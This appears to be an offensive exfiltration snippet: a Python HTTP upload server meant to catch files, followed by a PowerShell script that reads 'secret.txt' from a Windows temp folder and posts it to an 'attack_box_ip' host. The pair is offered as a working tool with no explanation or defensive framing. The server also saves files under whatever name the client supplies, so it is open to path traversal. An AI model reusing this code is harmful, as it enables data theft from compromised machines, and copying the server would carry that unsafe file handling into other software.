HTTP

#!/usr/bin/env python3

import os
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleUploadHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        content_type = self.headers.get('Content-Type', '')

        if 'multipart/form-data' not in content_type:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b'Expected multipart/form-data')
            return

        boundary = content_type.split('=')[-1].encode()
        remainbytes = content_length
        line = self.rfile.readline()
        remainbytes -= len(line)

        if boundary not in line:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b'Content does not start with boundary')
            return

        # Parse headers
        line = self.rfile.readline()
        remainbytes -= len(line)
        filename = line.decode().split('filename=')[-1].strip().strip('"').split('"')[0]
        save_path = os.path.join(SimpleUploadHandler.output_dir, filename)

        # Skip Content-Type and blank line
        self.rfile.readline(); remainbytes -= len(line)
        self.rfile.readline(); remainbytes -= len(line)

        try:
            with open(save_path, 'wb') as out_file:
                preline = self.rfile.readline()
                remainbytes -= len(preline)
                while remainbytes > 0:
                    line = self.rfile.readline()
                    remainbytes -= len(line)
                    if boundary in line:
                        out_file.write(preline[:-2])  # Strip trailing \r\n
                        break
                    out_file.write(preline)
                    preline = line

            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"File '{filename}' uploaded to '{save_path}'.\n".encode())
        except Exception as e:
            self.send_response(500)
            self.end_headers()
            self.wfile.write(f"Upload failed: {e}".encode())

def run_server(port, output_dir):
    # Check if output directory exists
    if not os.path.isdir(output_dir):
        raise Exception(f"Output directory does not exist: {output_dir}")

    SimpleUploadHandler.output_dir = os.path.abspath(output_dir)
    server = HTTPServer(('', port), SimpleUploadHandler)
    print(f"Server listening on port {port}")
    print(f"Files will be saved to: {SimpleUploadHandler.output_dir}")
    server.serve_forever()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Simple HTTP File Upload Server")
    parser.add_argument('-p', '--port', type=int, default=8000, help='TCP port to listen on (default: 8000)')
    parser.add_argument('-o', '--output-directory', default='/tmp', help='Directory to save uploaded files (default: /tmp)')

    args = parser.parse_args()
    run_server(args.port, args.output_directory)

$filePath = 'C:\Windows\Temp\secret.txt'
$file = try { Get-Item $filePath -ErrorAction Stop } catch { throw $_.Exception }
$fileContents = $(-join[char[]][System.IO.File]::ReadAllBytes($file.FullName))
$uploadUri = 'http://attack_box_ip/upload.php'
$formBoundaryBegin = '----l337PwnzFormBoundary'
$formBoundaryEnd = $formBoundaryBegin + "--`r`n"
$formBody = @"
$formBoundaryBegin
Content-Disposition: form-data; name="file"; filename="$($file.Name)"
Content-Type: application/octet-stream

$fileContents
$formBoundaryEnd
"@

$parameters = @{
  'Method' = 'POST'
  'Uri' = $uploadUri
  'Headers' = @{
    'Content-Type' = "multipart/form-data; boundary=$formBoundaryBegin"
  }
  'Body' = $formBody
}
Invoke-WebRequest @parameters